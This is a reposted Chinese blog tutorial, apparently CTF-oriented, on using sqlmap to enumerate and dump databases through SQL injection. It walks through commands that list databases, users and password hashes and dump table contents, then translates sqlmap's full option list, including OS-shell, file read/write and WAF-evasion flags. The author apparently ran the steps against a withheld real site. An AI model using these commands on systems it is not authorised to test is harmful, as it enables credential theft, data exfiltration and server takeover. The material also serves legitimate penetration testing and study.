轉載:Sqlmap爆庫命令的簡單使用
- 2020 年 9 月 22 日
- 筆記
- CTF, 攻防世界, 簡單的SQLMAP爆庫命令, 隨筆
轉載://blog.csdn.net/qq_41617034/article/details/89502428
測試地址:因為涉及商業隱私,這裡就不列啦
我這裡用的是windows,並沒有用kali,所以需要使用sqlmap.py
1.Sqlmap.py -u "網址" 網址存在注入點
可以看出有三個注入點,底下還有其他系統或資料庫資訊
2.曝出資料庫名稱
--dbs
可以看出有三個資料庫
3.查看web當前使用的資料庫
--current -db
4.曝出web資料庫使用賬戶
--current -user
5.列出資料庫所有賬戶
--users
沒截…
6.曝出資料庫帳號和密碼
--passwords
沒截…
7.列出資料庫中的表
-D XX --tables
(-D:指定資料庫名稱
XX:資料庫名稱
--tables:列出該資料庫的表)
8.列出表中的欄位
-D XX -T YY --columns
(-D指資料庫名稱
XX指資料庫
-T指要列出欄位的表
YY指資料庫中的表
--columns指欄位)
9.曝欄位內容
-D XX -T YY -C 」a,b,c」 --dump
(-D指資料庫名稱
XX指資料庫
-T指要列出欄位的表
YY指資料庫中的表
-C指定要曝的欄位
--dump將結果導出)
參考文檔://octobug.gitbooks.io/sqlmap-wiki-zhcn/content/Users-manual/Download-and-update.html
下載更新
sqlmap基於python2的環境的,所以安裝sqlmap之前首先需要配好python的環境,sqlmap的部分漏洞利用功能依賴於 Metasploit框架。你可以從這裡獲取Metasploit框架,版本要求是3.5或者更高版本。對於ICMP隧道入侵技術,sqlmap需要 Impacket 依賴包。
需要攻擊或者繞過對應的資料庫就需要安裝對應的鏈接數據包,這個是需要注意的。
下載地址
git clone //github.com/sqlmapproject/sqlmap.git sqlmap-dev
更新
python sqlmap.py --update
sqlmap中文用法指南
用法:python sqlmap.py [選項]
選項:
-h, --help 顯示基本幫助資訊並退出
-hh 顯示高級幫助資訊並退出
--version 顯示程式版本資訊並退出
-v VERBOSE 輸出資訊詳細程度級別:0-6(默認為 1)
目標:
至少提供一個以下選項以指定目標
-d DIRECT 直接連接資料庫
-u URL, --url=URL 目標 URL(例如:"//www.site.com/vuln.php?id=1")
-l LOGFILE 從 Burp 或 WebScarab 代理的日誌文件中解析目標地址
-x SITEMAPURL 從遠程網站地圖(.xml)文件中解析目標
-m BULKFILE 從文本文件中獲取批量目標
-r REQUESTFILE 從文件中讀取 HTTP 請求
-g GOOGLEDORK 使用 Google dork 結果作為目標
-c CONFIGFILE 從 INI 配置文件中載入選項
請求:
以下選項可以指定連接目標地址的方式
--method=METHOD 強制使用提供的 HTTP 方法(例如:PUT)
--data=DATA 使用 POST 發送數據串
--param-del=PARA.. 設置參數值分隔符
--cookie=COOKIE 指定 HTTP Cookie
--cookie-del=COO.. 設置 cookie 分隔符
--load-cookies=L.. 指定以 Netscape/wget 格式存放 cookies 的文件
--drop-set-cookie 忽略 HTTP 響應中的 Set-Cookie 參數
--user-agent=AGENT 指定 HTTP User-Agent
--random-agent 使用隨機的 HTTP User-Agent
--host=HOST 指定 HTTP Host
--referer=REFERER 指定 HTTP Referer
-H HEADER, --hea.. 設置額外的 HTTP 頭參數(例如:"X-Forwarded-For: 127.0.0.1")
--headers=HEADERS 設置額外的 HTTP 頭參數(例如:"Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP 認證方式(Basic,Digest,NTLM 或 PKI)
--auth-cred=AUTH.. HTTP 認證憑證(username:password)
--auth-file=AUTH.. HTTP 認證 PEM 證書/私鑰文件
--ignore-code=IG.. 忽略 HTTP 錯誤碼(例如:401)
--ignore-proxy 忽略系統默認代理設置
--ignore-redirects 忽略重定向嘗試
--ignore-timeouts 忽略連接超時
--proxy=PROXY 使用代理連接目標 URL
--proxy-cred=PRO.. 使用代理進行認證(username:password)
--proxy-file=PRO.. 從文件中載入代理列表
--tor 使用 Tor 匿名網路
--tor-port=TORPORT 設置 Tor 代理埠代替默認埠
--tor-type=TORTYPE 設置 Tor 代理方式(HTTP,SOCKS4 或 SOCKS5(默認))
--check-tor 檢查是否正確使用了 Tor
--delay=DELAY 設置每個 HTTP 請求的延遲秒數
--timeout=TIMEOUT 設置連接響應的有效秒數(默認為 30)
--retries=RETRIES 連接超時時重試次數(默認為 3)
--randomize=RPARAM 隨機更改給定的參數值
--safe-url=SAFEURL 測試過程中可頻繁訪問且合法的 URL 地址(譯者註:
有些網站在你連續多次訪問錯誤地址時會關閉會話連接,
後面的「請求」小節有詳細說明)
--safe-post=SAFE.. 使用 POST 方法發送合法的數據
--safe-req=SAFER.. 從文件中載入合法的 HTTP 請求
--safe-freq=SAFE.. 每訪問兩次給定的合法 URL 才發送一次測試請求
--skip-urlencode 不對 payload 數據進行 URL 編碼
--csrf-token=CSR.. 設置網站用來反 CSRF 攻擊的 token
--csrf-url=CSRFURL 指定可提取反 CSRF 攻擊 token 的 URL
--force-ssl 強制使用 SSL/HTTPS
--hpp 使用 HTTP 參數污染攻擊
--eval=EVALCODE 在發起請求前執行給定的 Python 程式碼(例如:
"import hashlib;id2=hashlib.md5(id).hexdigest()")
優化:
以下選項用於優化 sqlmap 性能
-o 開啟所有優化開關
--predict-output 預測常用請求的輸出
--keep-alive 使用持久的 HTTP(S) 連接
--null-connection 僅獲取頁面大小而非實際的 HTTP 響應
--threads=THREADS 設置 HTTP(S) 請求並發數最大值(默認為 1)
注入:
以下選項用於指定要測試的參數,
提供自定義注入 payloads 和篡改參數的腳本
-p TESTPARAMETER 指定需要測試的參數
--skip=SKIP 指定要跳過的參數
--skip-static 指定跳過非動態參數
--param-exclude=.. 用正則表達式排除參數(例如:"ses")
--dbms=DBMS 指定 DBMS 類型(例如:MySQL)
--dbms-cred=DBMS.. DBMS 認證憑據(username:password)
--os=OS 指定 DBMS 伺服器的作業系統類型
--invalid-bignum 將無效值設置為大數
--invalid-logical 對無效值使用邏輯運算
--invalid-string 對無效值使用隨機字元串
--no-cast 關閉 payload 構造機制
--no-escape 關閉字元串轉義機制
--prefix=PREFIX 注入 payload 的前綴字元串
--suffix=SUFFIX 注入 payload 的後綴字元串
--tamper=TAMPER 用給定腳本修改注入數據
檢測:
以下選項用於自定義檢測方式
--level=LEVEL 設置測試等級(1-5,默認為 1)
--risk=RISK 設置測試風險等級(1-3,默認為 1)
--string=STRING 用於確定查詢結果為真時的字元串
--not-string=NOT.. 用於確定查詢結果為假時的字元串
--regexp=REGEXP 用於確定查詢結果為真時的正則表達式
--code=CODE 用於確定查詢結果為真時的 HTTP 狀態碼
--text-only 只根據頁面文本內容對比頁面
--titles 只根據頁面標題對比頁面
技術:
以下選項用於調整特定 SQL 注入技術的測試方法
--technique=TECH 使用的 SQL 注入技術(默認為「BEUSTQ」,譯者註:
B: Boolean-based blind SQL injection(布爾型盲注)
E: Error-based SQL injection(報錯型注入)
U: UNION query SQL injection(聯合查詢注入)
S: Stacked queries SQL injection(堆查詢注入)
T: Time-based blind SQL injection(時間型盲注)
Q: inline Query injection(內聯查詢注入)
--time-sec=TIMESEC 延遲 DBMS 的響應秒數(默認為 5)
--union-cols=UCOLS 設置聯合查詢注入測試的列數目範圍
--union-char=UCHAR 用於暴力猜解列數的字元
--union-from=UFROM 設置聯合查詢注入 FROM 處用到的表
--dns-domain=DNS.. 設置用於 DNS 滲出攻擊的域名(譯者註:
推薦閱讀《在SQL注入中使用DNS獲取數據》
//cb.drops.wiki/drops/tips-5283.html,
在後面的「技術」小節中也有相應解釋)
--second-order=S.. 設置二階響應的結果顯示頁面的 URL(譯者註:
該選項用於二階 SQL 注入)
指紋識別:
-f, --fingerprint 執行廣泛的 DBMS 版本指紋識別
枚舉:
以下選項用於獲取後端資料庫管理系統的資訊,結構和數據表中的數據。
此外,還可以運行你輸入的 SQL 語句
-a, --all 獲取所有資訊、數據
-b, --banner 獲取 DBMS banner
--current-user 獲取 DBMS 當前用戶
--current-db 獲取 DBMS 當前資料庫
--hostname 獲取 DBMS 伺服器的主機名
--is-dba 探測 DBMS 當前用戶是否為 DBA(資料庫管理員)
--users 枚舉出 DBMS 所有用戶
--passwords 枚舉出 DBMS 所有用戶的密碼哈希
--privileges 枚舉出 DBMS 所有用戶特權級
--roles 枚舉出 DBMS 所有用戶角色
--dbs 枚舉出 DBMS 所有資料庫
--tables 枚舉出 DBMS 資料庫中的所有表
--columns 枚舉出 DBMS 表中的所有列
--schema 枚舉出 DBMS 所有模式
--count 獲取數據表數目
--dump 導出 DBMS 資料庫表項
--dump-all 導出所有 DBMS 資料庫表項
--search 搜索列,表和/或資料庫名
--comments 獲取 DBMS 注釋
-D DB 指定要枚舉的 DBMS 資料庫
-T TBL 指定要枚舉的 DBMS 數據表
-C COL 指定要枚舉的 DBMS 數據列
-X EXCLUDECOL 指定要排除的 DBMS 數據列
-U USER 指定枚舉的 DBMS 用戶
--exclude-sysdbs 枚舉所有數據表時,指定排除特定系統資料庫
--pivot-column=P.. 指定主列
--where=DUMPWHERE 在轉儲表時使用 WHERE 條件語句
--start=LIMITSTART 指定要導出的數據表條目開始行數
--stop=LIMITSTOP 指定要導出的數據表條目結束行數
--first=FIRSTCHAR 指定獲取返回查詢結果的開始字元位
--last=LASTCHAR 指定獲取返回查詢結果的結束字元位
--sql-query=QUERY 指定要執行的 SQL 語句
--sql-shell 調出互動式 SQL shell
--sql-file=SQLFILE 執行文件中的 SQL 語句
暴力破解:
以下選項用於暴力破解測試
--common-tables 檢測常見的表名是否存在
--common-columns 檢測常用的列名是否存在
用戶自定義函數注入:
以下選項用於創建用戶自定義函數
--udf-inject 注入用戶自定義函數
--shared-lib=SHLIB 共享庫的本地路徑
訪問文件系統:
以下選項用於訪問後端資料庫管理系統的底層文件系統
--file-read=RFILE 讀取後端 DBMS 文件系統中的文件
--file-write=WFILE 寫入後端 DBMS 文件系統中的文件
--file-dest=DFILE 使用文件絕對路徑寫入到後端 DBMS
訪問作業系統:
以下選項用於訪問後端資料庫管理系統的底層作業系統
--os-cmd=OSCMD 執行作業系統命令
--os-shell 調出互動式作業系統 shell
--os-pwn 調出 OOB shell,Meterpreter 或 VNC
--os-smbrelay 一鍵調出 OOB shell,Meterpreter 或 VNC
--os-bof 利用存儲過程的緩衝區溢出
--priv-esc 資料庫進程用戶提權
--msf-path=MSFPATH Metasploit 框架的本地安裝路徑
--tmp-path=TMPPATH 遠程臨時文件目錄的絕對路徑
訪問 Windows 註冊表:
以下選項用於訪問後端資料庫管理系統的 Windows 註冊表
--reg-read 讀取一個 Windows 註冊表鍵值
--reg-add 寫入一個 Windows 註冊表鍵值數據
--reg-del 刪除一個 Windows 註冊表鍵值
--reg-key=REGKEY 指定 Windows 註冊表鍵
--reg-value=REGVAL 指定 Windows 註冊表鍵值
--reg-data=REGDATA 指定 Windows 註冊表鍵值數據
--reg-type=REGTYPE 指定 Windows 註冊表鍵值類型
通用選項:
以下選項用於設置通用的參數
-s SESSIONFILE 從文件(.sqlite)中讀入會話資訊
-t TRAFFICFILE 保存所有 HTTP 流量記錄到指定文本文件
--batch 從不詢問用戶輸入,使用默認配置
--binary-fields=.. 具有二進位值的結果欄位(例如:"digest")
--check-internet 在訪問目標之前檢查是否正常連接互聯網
--crawl=CRAWLDEPTH 從目標 URL 開始爬取網站
--crawl-exclude=.. 用正則表達式篩選爬取的頁面(例如:"logout")
--csv-del=CSVDEL 指定輸出到 CVS 文件時使用的分隔符(默認為「,」)
--charset=CHARSET 指定 SQL 盲注字符集(例如:"0123456789abcdef")
--dump-format=DU.. 導出數據的格式(CSV(默認),HTML 或 SQLITE)
--encoding=ENCOD.. 指定獲取數據時使用的字元編碼(例如:GBK)
--eta 顯示每個結果輸出的預計到達時間
--flush-session 清空當前目標的會話文件
--forms 解析並測試目標 URL 的表單
--fresh-queries 忽略存儲在會話文件中的查詢結果
--har=HARFILE 將所有 HTTP 流量記錄到一個 HAR 文件中
--hex 獲取數據時調用 DBMS 的 hex 函數
--output-dir=OUT.. 自定義輸出目錄路徑
--parse-errors 從響應中解析並顯示 DBMS 錯誤資訊
--save=SAVECONFIG 將選項設置保存到一個 INI 配置文件
--scope=SCOPE 用正則表達式從提供的代理日誌中過濾目標
--test-filter=TE.. 根據 payloads 和/或標題(例如:ROW)選擇測試
--test-skip=TEST.. 根據 payloads 和/或標題(例如:BENCHMARK)跳過部分測試
--update 更新 sqlmap
其他選項:
-z MNEMONICS 使用短助記符(例如:「flu,bat,ban,tec=EU」)
--alert=ALERT 在找到 SQL 注入時運行 OS 命令
--answers=ANSWERS 設置問題答案(例如:「quit=N,follow=N」)
--beep 出現問題提醒或在發現 SQL 注入時發出提示音
--cleanup 指定移除 DBMS 中的特定的 UDF 或者數據表
--dependencies 檢查 sqlmap 缺少什麼(非核心)依賴
--disable-coloring 關閉彩色控制台輸出
--gpage=GOOGLEPAGE 指定頁碼使用 Google dork 結果
--identify-waf 針對 WAF/IPS/IDS 保護進行徹底的測試
--mobile 使用 HTTP User-Agent 模仿智慧手機
--offline 在離線模式下工作(僅使用會話數據)
--purge-output 安全地刪除輸出目錄的所有內容
--skip-waf 跳過啟發式檢測 WAF/IPS/IDS 保護
--smart 只有在使用啟發式檢測時才進行徹底的測試
--sqlmap-shell 調出互動式 sqlmap shell
--tmp-dir=TMPDIR 指定用於存儲臨時文件的本地目錄
--web-root=WEBROOT 指定 Web 伺服器根目錄(例如:"/var/www")
--wizard 適合初級用戶的嚮導介面